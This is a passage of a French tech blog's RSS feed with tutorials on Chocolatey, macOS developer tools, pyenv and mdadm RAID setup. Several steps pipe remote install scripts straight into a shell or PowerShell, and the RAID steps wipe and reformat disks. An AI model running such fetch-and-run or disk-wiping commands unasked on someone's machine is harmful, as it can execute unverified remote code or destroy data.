&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;install-azure-servicebus-explorer&#34;&gt;Install Azure servicebus explorer&lt;/h2&gt;
&lt;p&gt;Once choco is installed execute simply:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;choco install servicebusexplorer
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Once it is installed. Just run &lt;code&gt;ServiceBusExplorer.exe&lt;/code&gt; in a Powershell terminal to open it.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="install-chocolatey">Install Chocolatey</h2>
<p>Open a Powershell window and execute the following command as admin:</p>
<pre tabindex="0"><code>Set-ExecutionPolicy Bypass -Scope Process -Force; `
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; `
iex ((New-Object System.Net.WebClient).DownloadString(&#39;https://chocolatey.org/install.ps1&#39;))
</code></pre><br/>
<h2 id="install-azure-servicebus-explorer">Install Azure servicebus explorer</h2>
<p>Once choco is installed execute simply:</p>
<pre tabindex="0"><code>choco install servicebusexplorer
</code></pre><br/>
<p>Once it is installed. Just run <code>ServiceBusExplorer.exe</code> in a Powershell terminal to open it.</p>
]]></content>
        </item>
        
        <item>
            <title>Utilitaires utiles OSX</title>
            <link>https://leandeep.com/utilitaires-utiles-osx/</link>
            <pubDate>Mon, 18 Nov 2019 11:08:00 +0000</pubDate>
            
            <guid>https://leandeep.com/utilitaires-utiles-osx/</guid>
            <description>&lt;p&gt;Voici certains (le minimum vital) utilitaires de développement que j&amp;rsquo;utilise sur Mac.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;https://ohmyz.sh/&#34;&gt;Oh-my-zsh&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sh -c &amp;#34;$(curl -fsSL https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh)&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Installer &lt;a href=&#34;https://github.com/nvm-sh/nvm#installation-and-update&#34;&gt;Node version manager&lt;/a&gt; (NVM)&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.35.1/install.sh | bash
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Puis au moins les paquets suivants:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;nvm install v12.13.0
nvm use v12.13.0
nvm alias default v12.13.0
npm i -g http-server
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Installer Blockchain tools&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;npm install -g truffle
npm install -g ganache-cli
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Installer Xcode CLI&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;xcode-select --install
sudo xcodebuild -license accept
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;https://brew.sh/&#34;&gt;Homebrew&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;/usr/bin/ruby -e &amp;#34;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Packages gratuits ou OpenSource Mac utiles pour travailler&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici certains (le minimum vital) utilitaires de développement que j&rsquo;utilise sur Mac.</p>
<p><strong><a href="https://ohmyz.sh/">Oh-my-zsh</a></strong></p>
<pre tabindex="0"><code>sh -c &#34;$(curl -fsSL https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh)&#34;
</code></pre><br/>
<p><strong>Installer <a href="https://github.com/nvm-sh/nvm#installation-and-update">Node version manager</a> (NVM)</strong></p>
<pre tabindex="0"><code>curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.35.1/install.sh | bash
</code></pre><p>Puis au moins les paquets suivants:</p>
<pre tabindex="0"><code>nvm install v12.13.0
nvm use v12.13.0
nvm alias default v12.13.0
npm i -g http-server
</code></pre><br/>
<p><strong>Installer Blockchain tools</strong></p>
<pre tabindex="0"><code>npm install -g truffle
npm install -g ganache-cli
</code></pre><br/>
<p><strong>Installer Xcode CLI</strong></p>
<pre tabindex="0"><code>xcode-select --install
sudo xcodebuild -license accept
</code></pre><br/>
<p><strong><a href="https://brew.sh/">Homebrew</a></strong></p>
<pre tabindex="0"><code>/usr/bin/ruby -e &#34;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)&#34;
</code></pre><br/>
<p><strong>Packages gratuits ou OpenSource Mac utiles pour travailler</strong></p>
<ul>
<li>Synology Drive (Peut être la plus importante)</li>
<li><a href="https://www.titanium-software.fr/fr/onyx.html">Onyx</a> (Optimiser le Finder OSX)</li>
<li><a href="https://docs.docker.com/docker-for-mac/install/">Docker</a> - Puis activer Kubernetes dans les settings</li>
<li><a href="https://www.iterm2.com/downloads.html">Iterm 2</a></li>
<li>Xcode via l&rsquo;App Store et l&rsquo;utilitaire command line via la commande suivante <code>xcode-select --install</code></li>
<li>Vuze pour télécharger des Torrents. Installation via cette commande <code>sudo ./Vuze\ Installer.app/Contents/MacOS/JavaApplicationStub</code>
car les droits root sont nécessaires</li>
<li><a href="https://code.visualstudio.com/download">Visual Studio Code</a> (Mon IDE)</li>
<li><a href="https://gitup.co/">GitUp</a> (GUI git)</li>
<li>Google Keep (Prise de notes synchronisées avec tous mes devices)</li>
<li>Audacity (Enregistrer via microphone)</li>
<li>Sublime Text (En dépannage. Il reste toujours excessivement rapide)</li>
<li><a href="https://aws.amazon.com/fr/workspaces/">AWS Workspaces</a></li>
<li>Google Chrome</li>
<li>Firefox</li>
<li>Office (Word, Excel, Powerpoint, Teams)</li>
<li>Apple Pages</li>
<li>Slack</li>
<li><a href="https://www.mongodb.com/products/compass">MongoDB Compass</a></li>
<li>Skype for business</li>
<li>Ultimaker Cura (Pour slicer des modèles 3D)</li>
<li><a href="https://www.pgadmin.org/download/">PG Admin 4</a> (GUI admin postgres)</li>
<li><a href="https://www.mysql.com/fr/products/workbench/">MySQLWorkbench</a> (GUI admin MySQL)</li>
<li>Tunnelblick (Pour accéder à des réseaux VPN)</li>
<li>The Unarchiver (Pour extraire des Rar)</li>
<li>VirtualBox (Pour créer des VMs)</li>
<li><a href="https://cyberduck.io/">Cyberduck</a></li>
<li><a href="https://github.com/objective-see/LuLu">LuLu</a> (Firewall opensource)</li>
<li><a href="https://pilotmoon.com/scrollreverser/">Scroll Reverser</a> (Inverser mon scroll de souris quand je travaille en double écran avec souris déportée)</li>
<li><a href="https://www.getpostman.com/downloads/">Postman</a> (Communiquer avec des REST APIs)</li>
<li><a href="https://unetbootin.github.io/">Unetbootin</a> (Pour créer des USB bootables)</li>
<li><a href="https://directory.apache.org/studio/download/download-macosx.html">LDAP Client</a></li>
<li><a href="https://apps.apple.com/fr/app/app-language-chooser/id451732904?mt=12">App Language Chooser</a> (Disponible sur l&rsquo;Apple Store pour changer la langue d&rsquo;une seule application)</li>
<li>Code Notes (Pour gérer ses snippets Github (gists) ou en local)</li>
<li>Lepton (Pour gérer ses snippets Github (gists) uniquement)</li>
<li><a href="https://github.com/jwise/HoRNDIS">HoRNDIS</a> Android USB tethering driver for Mac OS X</li>
<li><a href="https://dev.mysql.com/doc/mysql-osx-excerpt/5.7/en/osx-installation-pkg.html">MySQL Server</a> Je préfère installer MySQL server via le .dmg plutôt que via brew pour avoir le bouton &ldquo;Start MySQL Server&rdquo; dans System Preferences.</li>
<li>TimescaleDB (DB timeseries basée sur Postgres): <code>docker run -d --name timescaledb -p 5432:5432 -e POSTGRES_PASSWORD=password timescale/timescaledb:latest</code></li>
<li><a href="https://objective-see.com/products/netiquette.html">NetIQuette</a> (GUI pour voir toutes les connexions ouvertes entrantes et sortantes)</li>
<li><a href="https://objective-see.com/products/taskexplorer.html">TaskExplorer</a> (Analyse les processus ouverts et effectue une analyse antivirus)</li>
<li><a href="https://wiki.x2go.org/doku.php">X2Go Client</a> Client pour X2GO</li>
<li><a href="https://calibre-ebook.com/">Calibre</a> (Gestionnaire d&rsquo;ebooks et PDF. Synchronisation possible avec Kindle)</li>
<li>Metatrader 4 et 5</li>
<li>Spotify</li>
<li><a href="https://www.monkeybreadsoftware.de/Software/IPinmenubar.shtml">IP in menu bar</a></li>
<li><a href="https://developer.android.com/studio">Android Studio</a> + flutter plugin depuis la marketplace + SDK 28, 29 et 30</li>
<li><a href="https://developer.android.com/ndk/downloads">Android NDK</a></li>
<li><a href="https://distfiles.macports.org/MacPorts/MacPorts-2.6.3-10.15-Catalina.pkg">MacPorts</a></li>
<li><a href="https://insomnia.rest/download/">Insomnia</a> API Client et Design Plateforme pour GraphQL</li>
<li><a href="https://letsview.com/">Letsview</a> Pour mirrorer votre iDevice sur Mac ou vice versa</li>
<li><a href="https://devutils.app/">Devutils</a> Une boite à outils avec des convertisseurs JSON to YAML, time converter, JSON formater&hellip;</li>
<li>Microsoft Remote Desktop: oui oui vous avez bien lu. Pour certains outils Azure</li>
<li><a href="https://www.raycast.com/">Raycast</a></li>
<li><a href="https://www.derlien.com/downloads/index.html">Disk Inventory X</a>: Analyser le disk space</li>
<li><a href="https://docs.getutm.app/installation/macos/">UTM</a>: Virtualization</li>
</ul>
<br/>
<p><strong>Packages Payant très utiles</strong></p>
<ul>
<li><a href="https://pasteapp.me/">Paste</a> (Gestionnaire avancé copier coller. Un must have!) -&gt; Remplacé par Raycast</li>
<li><a href="https://apps.apple.com/fr/app/inet-network-scanner/id403304796?mt=12">iNet</a> (GUI de scan réseau)</li>
<li><a href="https://macpaw.com/fr/gemini">Gemini</a> (Détecteur de doublon très pratique)</li>
<li><a href="https://macpaw.com/fr/store/cleanmymac">Clean My Mac X</a> (Permet de nettoyer son Mac)</li>
<li>Screenflow (Pour enregistrer un screencast)</li>
<li>AutoDesk (Pour modifier des modèles 3D)</li>
<li>Divvy (Disponible sur l&rsquo;Apple Store pour spliter facilement son écran)</li>
<li>Final Cut Pro (Faire des montages vidéo)</li>
</ul>
<br/>
<p><strong>Packages Homebrew</strong></p>
<pre tabindex="0"><code>brew install wget tree python@2 pkg-config poppler kubernetes-helm tmux socat 
brew cask update
brew cask install ip-in-menu-bar betterzipql
brew cask install qlcolorcode
brew cask install qlmarkdown qlstephen quicklook-json qlimagesize suspicious-package 
brew cask install keepassxc
brew cask install db-browser-for-sqlite
brew cask install vagrant
brew cask install vlc 
brew cask install bitbar # https://getbitbar.com/ Ajoute des fonctionnalités à sa barre de tâches OSX
brew cask install android-platform-tools # Ou installation via Android Studio
brew install htop
brew install tig # Voir l&#39;historique git
brew install hadolint # Dockerfile linter
brew install openssl 
brew install sqlite3 
brew install xz 
brew install zlib
brew install azure-cli
brew install pyenv
brew install gpg
brew install git-crypt
brew install watch
brew install sshfs
brew install wakeonlan
brew install nmap
brew install git-lfs
brew install bazel
brew install p7zip
brew install postgresql
brew install direnv # Ou installation via git et manual build
brew install jq
brew install readline # A voir s&#39;il ne faut pas plutôt l&#39;installer via pip
brew install hugo
brew install gnupg
brew install youtube-dl
brew install telnet
brew install terraform
brew install colordiff
brew install ncdu

# Opencv 3.4.x
# Sur Python 3.9 (example avec brew)
brew install python@3.9
brew link python@3.9
brew install opencv@3
# Check:
# pip install virtualenv virtualenvwrapper
# echo &#34;export WORKON_HOME=$HOME/.virtualenvs&#34; &gt;&gt; ~/.zshrc
# echo &#34;export WORKON_HOME=$HOME/.virtualenvs&#34; &gt;&gt; ~/.bashrc
# echo &#34;export PROJECT_HOME=$HOME/Devel&#34; &gt;&gt; ~/.zshrc
# echo &#34;export PROJECT_HOME=$HOME/Devel&#34; &gt;&gt; ~/.bashrc
# echo &#34;source /usr/local/bin/virtualenvwrapper.sh&#34; &gt;&gt; ~/.zshrc
# echo &#34;source /usr/local/bin/virtualenvwrapper.sh&#34; &gt;&gt; ~/.bashrc
# mkvirtualenv -p python3 cv_env
# pip install numpy scipy matplotlib scikit-image scikit-learn ipython pandas
# ln -s /usr/local/opt/opencv@3/lib/python3.9/site-packages/cv2/python-3.9/cv2.cpython-39-darwin.so cv2.so
# python
# &gt;&gt;&gt; import cv2
# &gt;&gt;&gt; cv2._version_

# Sur Python 3.8 (example avec package pip)
brew install python@3.8
brew link python@3.8
pip install opencv-contrib-python==3.4.11.45
# &gt;&gt;&gt; cv2.__version__

# EOS Blockchain
brew tap eosio/eosio # Note: Update May 2022 -&gt; Dead Project
brew install eosio

# Installation de MongoDB 
# https://docs.mongodb.com/manual/tutorial/install-mongodb-on-os-x/
brew tap mongodb/brew
brew install mongodb-community@4.2
brew services start mongodb-community # ou brew services start mongodb-community@4.2

# Installation de Redis
Voir cet article https://leandeep.com/Installer-redis-sur-OSX/

# Installation de Mysql client (si MySQL server pas installé)
brew install mysql-client
echo &#39;export PATH=&#34;/usr/local/opt/mysql-client/bin:$PATH&#34;&#39; &gt;&gt; ~/.zshrc

# Poetry
curl -sSL https://raw.githubusercontent.com/python-poetry/poetry/master/get-poetry.py | python

# Cocoapods
sudo gem install cocoapods
</code></pre><br/>
<p><strong>Installer virtualenvwrapper ou direnv</strong></p>
<p>Lien vers <a href="https://direnv.net/docs/installation.html">direnv</a></p>
<blockquote>
<p>Pour une question de sécurité, je vous préconiserais de le compiler vous-même après avoir vérifié qu&rsquo;il n&rsquo;y a pas de vulnérabilité dans le code open source.</p></blockquote>
<p>Lien vers <a href="https://virtualenvwrapper.readthedocs.io/en/latest/">virtualenvwrapper</a></p>
<br/>
<p><strong>Configurer Git</strong></p>
<p>Ajouter le fichier <code>~/.gitconfig</code> avec le contenu suivant:</p>
<pre tabindex="0"><code>[push]
        default = current
[user]
        name = votre_nom
        email = votre_adresse_email
</code></pre><br/>
<p><strong>Configurer iTerm2</strong></p>
<p>Go to iTerm Preferences → Profiles, select your profile, then the Keys tab. Click Load Preset&hellip; and choose Natural Text Editing.</p>
<p><strong>Extensions VSCode</strong></p>
<ul>
<li>Back &amp; Forth</li>
<li>Better TOML</li>
<li>C/C++</li>
<li>Cloud Code</li>
<li>Cron explained</li>
<li>Code Runner</li>
<li>Cucumber (Gherkin) Full Support</li>
<li>Dart</li>
<li>Docker</li>
<li>Draw.io integration</li>
<li>Excel viewer</li>
<li>Flutter</li>
<li>Formatting Toggle</li>
<li>Gist</li>
<li>Github Pull Requests and Issues</li>
<li>Git Blame</li>
<li>Git History</li>
<li>Git Tree Compare</li>
<li>GitLens - Git supercharged</li>
<li>Go</li>
<li>Hashicorp Terraform</li>
<li>Intellicode</li>
<li>Hugofy</li>
<li>Jupyter</li>
<li>Jupyter Keymap</li>
<li>Jupyter Nodebook Renderers</li>
<li>Language-Cython</li>
<li>Nix</li>
<li>OpenAPI (Swagger) Editor</li>
<li>Pine Script Syntax Highlighting</li>
<li>Prophet Debugger</li>
<li>Protobuf text format</li>
<li>Rest Client</li>
<li>Pylance</li>
<li>Python</li>
<li>Service Bus Explorer</li>
<li>Svelte for VS Code</li>
<li>Solidity</li>
<li>Visual Studio Intellicode</li>
<li>vscode-elixir</li>
<li>vscode-pdf</li>
<li>Vue Language Deatures (Volar)</li>
<li>Vyper</li>
<li>XML</li>
<li>YAML</li>
</ul>
<blockquote>
<p>Mémo shortcuts utiles:</p>
<ul>
<li>Lister les functions dans un fichier: <code>Cmd</code> + <code>shift</code> + <code>o</code> + <code>:</code></li>
</ul></blockquote>
<br/>
<p><strong>Ouvrir VSCode depuis le terminal</strong></p>
<pre tabindex="0"><code>export PATH=&#34;$PATH:/Applications/Visual Studio Code.app/Contents/Resources/app/bin&#34;
</code></pre><br/>
<p><strong>Java</strong></p>
<pre tabindex="0"><code>brew install openjdk@11
</code></pre><p>Editer <code>~/.zshrc</code> et ajouter la commande suivante:</p>
<pre tabindex="0"><code>sudo ln -sfn /usr/local/opt/openjdk@11/libexec/openjdk.jdk /Library/Java/JavaVirtualMachines/openjdk-11.jdk
</code></pre><br/>
<p><strong>Golang</strong></p>
<p>Obtenir et installer le .pkg depuis <a href="https://golang.org/doc/install">https://golang.org/doc/install</a></p>
<br/>
<p><strong>Customize iTerm2</strong></p>
<pre tabindex="0"><code>brew install bat
# bat .env
brew install exa
# exa --icons -l -g

brew install starship
brew tap homebrew/cask-fonts
brew install --cask font-hack-nerd-font

git clone https://github.com/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting
git clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions
</code></pre><p>Editer le template <code>vim ~/.config/starship.toml</code>:</p>
<pre tabindex="0"><code>add_newline = false

[python]
format = &#39;via [${symbol}${pyenv_prefix}(${version} )(\($virtualenv\) )]($style)&#39;
</code></pre><br/>
<p><strong>Autres customisation de iTerm</strong></p>
<ul>
<li>Désactiver la correction orthographique totalement inutile sur Notes:</li>
</ul>
<p><code>Edit &gt; Spelling and Grammar &gt; Correct Spelling Automatically</code><br/>
<code>Edit &gt; Spelling and Grammar &gt; Check Spelling while typing</code></p>
<br/>
<ul>
<li>Augmenter le buffer Iterm2</li>
</ul>
<p>Dans <code>Preferences &gt; Profiles &gt; Terminal</code> changer la valeur de &ldquo;Scrollback lines&rdquo; de 1000 à 100000.</p>
<ul>
<li>Changer la Font</li>
</ul>
<p>Dans <code>Preferences &gt; Profiles &gt; Text</code> choisir la font <code>Hack Nerd font</code></p>
]]></content>
        </item>
        
        <item>
            <title>Monter un raid existant sur une nouvelle installation d&#39;Ubuntu</title>
            <link>https://leandeep.com/monter-un-raid-existant-sur-une-nouvelle-installation-dubuntu/</link>
            <pubDate>Fri, 15 Nov 2019 13:31:00 +0000</pubDate>
            
            <guid>https://leandeep.com/monter-un-raid-existant-sur-une-nouvelle-installation-dubuntu/</guid>
            <description>&lt;p&gt;Si vous aviez créé votre raid avec l&amp;rsquo;utilitaire &lt;code&gt;mdadm&lt;/code&gt; (comme expliqué dans l&amp;rsquo;article suivant &lt;a href=&#34;https://leandeep.com/creer-un-raid-pour-stocker-ses-precieux-datasets/&#34;&gt;https://leandeep.com/creer-un-raid-pour-stocker-ses-precieux-datasets/&lt;/a&gt; ), les commandes pour le remonter ou réassembler sur un Ubuntu tout neuf sont les suivantes:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Installation de mdadm
sudo apt-get update
sudo apt-get install -y mdadm

# On détecte le raid 
sudo mdadm --assemble --scan

# On monte le raid en local
sudo mkdir /mnt/md0
sudo mount /dev/md0 /mnt/md0

# Vérifier qu&amp;#39;il est bien monté
df -h
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;troubleshooting&#34;&gt;Troubleshooting&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Avoir des informations (type et disques utilisés) sur les raids existants&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Si vous aviez créé votre raid avec l&rsquo;utilitaire <code>mdadm</code> (comme expliqué dans l&rsquo;article suivant <a href="https://leandeep.com/creer-un-raid-pour-stocker-ses-precieux-datasets/">https://leandeep.com/creer-un-raid-pour-stocker-ses-precieux-datasets/</a> ), les commandes pour le remonter ou réassembler sur un Ubuntu tout neuf sont les suivantes:</p>
<pre tabindex="0"><code># Installation de mdadm
sudo apt-get update
sudo apt-get install -y mdadm

# On détecte le raid 
sudo mdadm --assemble --scan

# On monte le raid en local
sudo mkdir /mnt/md0
sudo mount /dev/md0 /mnt/md0

# Vérifier qu&#39;il est bien monté
df -h
</code></pre><br/>
<h2 id="troubleshooting">Troubleshooting</h2>
<p><strong>Avoir des informations (type et disques utilisés) sur les raids existants</strong></p>
<ul>
<li>Option 1:</li>
</ul>
<pre tabindex="0"><code>cat /proc/mdstat

Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10]
md0 : active raid1 sdb1[0] sdc1[1]
      976761472 blocks [2/2] [UU]
      bitmap: 0/8 pages [0KB], 65536KB chunk
</code></pre><br/>
<ul>
<li>Option 2:</li>
</ul>
<pre tabindex="0"><code>grep &#39;md&#39; /proc/mdstat | tr &#39; &#39; &#39;\n&#39; | sed -n &#39;s/\[.*//p&#39;
</code></pre><br/>
<p><strong>Lister les disques</strong></p>
<pre tabindex="0"><code>fdisk -l
</code></pre><br/>
<p><strong>Obtenir le serial number d&rsquo;un disque</strong></p>
<pre tabindex="0"><code>sudo hdparm -I /dev/sdb1 | grep &#39;Serial\ Number&#39;

Serial Number:      S246J9FC405870
</code></pre><p>Cela peut être pratique si vous avez plein de disques dans une tour et que vous voulez identifier les disques HS.</p>
<p><img src="/images/serial-disque-dur.png" alt="image"></p>
<br/>
<p><strong>Error: &ldquo;mdadm: Duplicate MD device names in conf file were found&rdquo;</strong></p>
<p>Editer le fichier <code>/etc/mdadm/mdadm.conf</code> et vérifier qu&rsquo;un raid n&rsquo;est pas référencé 2 fois.</p>
<p>Puis exécuter la commande suivante pour prendre en compte la modification:</p>
<pre tabindex="0"><code>update-initramfs  -u -k all
</code></pre><p>Vous pouvez ensuite rebooter pour vérifier que cela fonctionne toujours&hellip;</p>
]]></content>
        </item>
        
        <item>
            <title>Installer pyenv sur Linux deepin 15 (debian like Linux)</title>
            <link>https://leandeep.com/installer-pyenv-sur-linux-deepin-15-debian-like-linux/</link>
            <pubDate>Mon, 04 Nov 2019 18:21:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-pyenv-sur-linux-deepin-15-debian-like-linux/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Je suis tombé en admiration pour Linux Deepin. Il est basée sur Debian. Son interface graphique est vraiment très agréable; aussi belle qu&amp;rsquo;OSX. Elle est certes un peu gourmande en ressources mais quand on a 64 Go de RAM ce n&amp;rsquo;est pas vraiment un problème :D. J&amp;rsquo;ai découvert cette distribution grâce à Huawei l&amp;rsquo;embarque maintenant dans ses matebook pro.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Je n&amp;rsquo;ai pas encore vérifié s&amp;rsquo;il y avait des spywares dans tous les sens mais je vais m&amp;rsquo;en occuper d&amp;rsquo;ici peu. J&amp;rsquo;ai un super proxy transparent pour voir tout ce qui transite sur le réseau. En attendant je ne me connecte à aucun site sensible.&lt;/em&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Je suis tombé en admiration pour Linux Deepin. Il est basée sur Debian. Son interface graphique est vraiment très agréable; aussi belle qu&rsquo;OSX. Elle est certes un peu gourmande en ressources mais quand on a 64 Go de RAM ce n&rsquo;est pas vraiment un problème :D. J&rsquo;ai découvert cette distribution grâce à Huawei l&rsquo;embarque maintenant dans ses matebook pro.</p>
<p><em>Je n&rsquo;ai pas encore vérifié s&rsquo;il y avait des spywares dans tous les sens mais je vais m&rsquo;en occuper d&rsquo;ici peu. J&rsquo;ai un super proxy transparent pour voir tout ce qui transite sur le réseau. En attendant je ne me connecte à aucun site sensible.</em></p>
<p>**Bref dans cet article nous allons voir comment installer pyenv sur cet Linux pour gérer plusieurs environnements Python pour ses environnements virtuels.</p>
<br/>
<h2 id="steps">Steps</h2>
<p>Mise à jour des paquets:</p>
<pre tabindex="0"><code>sudo apt-get update &amp;&amp; sudo apt-get upgrade
</code></pre><pre tabindex="0"><code># Après un upgrade de système, j&#39;ai pris l&#39;habitude de rebooter mon système pour voir si tout s&#39;est bien passé. Je vous invite à faire la même chose. Cela ne prend que quelques secondes et cela permet de ne pas chercher midi à quatorze heures si votre système ne fonctionne plus avant de passer à la suite.

sudo reboot
</code></pre><p>On installe les dépendances:</p>
<pre tabindex="0"><code>sudo apt-get install -y make build-essential libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev git
</code></pre><p>Installation de Pyenv:</p>
<pre tabindex="0"><code>curl -L https://raw.githubusercontent.com/yyuu/pyenv-installer/master/bin/pyenv-installer | bash
</code></pre><p>On ajoute les lignes suivantes dans son <code>~/.zshrc</code> avant d&rsquo;exécuter un <code>source ~/.zshrc</code>:</p>
<pre tabindex="0"><code>export PATH=&#34;~/.pyenv/bin:$PATH&#34;
eval &#34;$(pyenv init -)&#34;
eval &#34;$(pyenv virtualenv-init -)&#34;
</code></pre><p>Vérifier le bon fonctionnement de pyenv:</p>
<pre tabindex="0"><code>pyenv versions 
</code></pre><p>Lister les versions de Python disponibles:</p>
<pre tabindex="0"><code>pyenv install --list
</code></pre><p>Installer une version spécifique:</p>
<pre tabindex="0"><code>pyenv install 3.7.5
</code></pre><p>Afficher la version actuellement utilisée:</p>
<pre tabindex="0"><code>pyenv version
</code></pre><p>Utiliser une version de Python globalement sur son système:</p>
<pre tabindex="0"><code>pyenv global 3.7.5
# Ou localement dans un répertoire
pyenv local 3.7.5
# Ou setter une versoin dans le shell actuel
pyenv shell 3.7.5
</code></pre><p>Après si vous voulez créer un virtualenv avec une version de Python spécifique c&rsquo;est très simple. Il suffit si vous avez virtualenvwrapper d&rsquo;exécuter la commande suivante:</p>
<pre tabindex="0"><code># Récupérer le path du Python que l&#39;on souhaite utiliser
which python
/home/olivier/.pyenv/shims/python

# Créer le virtualenv
mkvirtualenv -p /home/olivier/.pyenv/shims/python -a . ai_env
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Créer un raid pour stocker ses précieux datasets</title>
            <link>https://leandeep.com/cr%C3%A9er-un-raid-pour-stocker-ses-pr%C3%A9cieux-datasets/</link>
            <pubDate>Sat, 28 Sep 2019 09:51:00 +0000</pubDate>
            
            <guid>https://leandeep.com/cr%C3%A9er-un-raid-pour-stocker-ses-pr%C3%A9cieux-datasets/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article nous allons voir comment créer un raid de type 1 pour répliquer nos données sur 2 disques. Si un disque venait à crasher, un second  est présent pour éviter de perdre nos précieuses données. J&amp;rsquo;ai plusieurs fois perdu mes datasets de Machine Learning et cela ma coûté cher en temps pour les retrouver et les recréer. Je me suis armé d&amp;rsquo;un système raid.&lt;/p&gt;
&lt;p&gt;Voici donc la procédure d&amp;rsquo;installation. Dans un prochain article que j&amp;rsquo;intitulerai &amp;ldquo;Gérer ses datasets comme un pro&amp;rdquo; je parlerai de la manière dont j&amp;rsquo;organise mes données au sein de mon serveur. J&amp;rsquo;en ferais peut-être un autre sur le CICD du Data Scientist (différent de celui des développeurs).&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article nous allons voir comment créer un raid de type 1 pour répliquer nos données sur 2 disques. Si un disque venait à crasher, un second  est présent pour éviter de perdre nos précieuses données. J&rsquo;ai plusieurs fois perdu mes datasets de Machine Learning et cela ma coûté cher en temps pour les retrouver et les recréer. Je me suis armé d&rsquo;un système raid.</p>
<p>Voici donc la procédure d&rsquo;installation. Dans un prochain article que j&rsquo;intitulerai &ldquo;Gérer ses datasets comme un pro&rdquo; je parlerai de la manière dont j&rsquo;organise mes données au sein de mon serveur. J&rsquo;en ferais peut-être un autre sur le CICD du Data Scientist (différent de celui des développeurs).</p>
<br/>
<h2 id="vérification-des-disques">Vérification des disques</h2>
<p>Avant de commencer on va vérifier l&rsquo;état des disques durs:</p>
<pre tabindex="0"><code>sudo apt-get install smartmontools
</code></pre><p>Lancer le test avec la commande suivante.</p>
<pre tabindex="0"><code>sudo smartctl -t short /dev/sdb
</code></pre><p>Voir le résultat (après l&rsquo;heure indiquée par la commande précédente):</p>
<pre tabindex="0"><code>sudo smartctl -l selftest /dev/sdb
</code></pre><br/>
<h2 id="installation">Installation</h2>
<p><strong>Préparation des disques</strong></p>
<p>Identifier les disques sur lesquels vous voulez créer votre Raid:</p>
<pre tabindex="0"><code>sudo fdisk -l
sudo fdisk /dev/sdX
</code></pre><p>Formater ses disques puis créer une partition sur chacun d&rsquo;eux:</p>
<pre tabindex="0"><code># Exemple de création de partitions avec /dev/sdb et /dev/sdc
sudo gdisk /dev/sdb

# voir le menu &#34;m&#34; (vous trouverez ce qu&#39;il faut si vous devez effacer une partition)
# p pour afficher les partitions
o # pour effacer toutes les partitions et créer une nouvelle &#34;protective MBR&#34;.
y # valide
n # pour créer une nouvelle partition
1 # pour le numéro de la partition
Entrée # pour le début des blocks
Entrée # pour la fin des blocks
fd00 # pour le type de partition (Linux Raid)
w # save
y # confirm

# Recommander cette procédure avec /dev/sdc
</code></pre><br/>
<p><strong>Création du raid</strong></p>
<p>Installation de <code>mdadm</code>:</p>
<pre tabindex="0"><code>sudo apt install -y mdadm
</code></pre><p>Création du raid:</p>
<pre tabindex="0"><code>sudo mdadm --create /dev/md0 --level=1 --raid-devices=2 /dev/sdb1 /dev/sdc1
</code></pre><p><strong>Attention, l&rsquo;étape précédente va prendre du temps&hellip;</strong> Vous pouvez voir sa progression avec la commande <code>cat /proc/mdstat</code>.</p>
<p>Créer un filesystem sur le nouvel Array :</p>
<pre tabindex="0"><code>sudo mkfs.ext4 -F /dev/md0
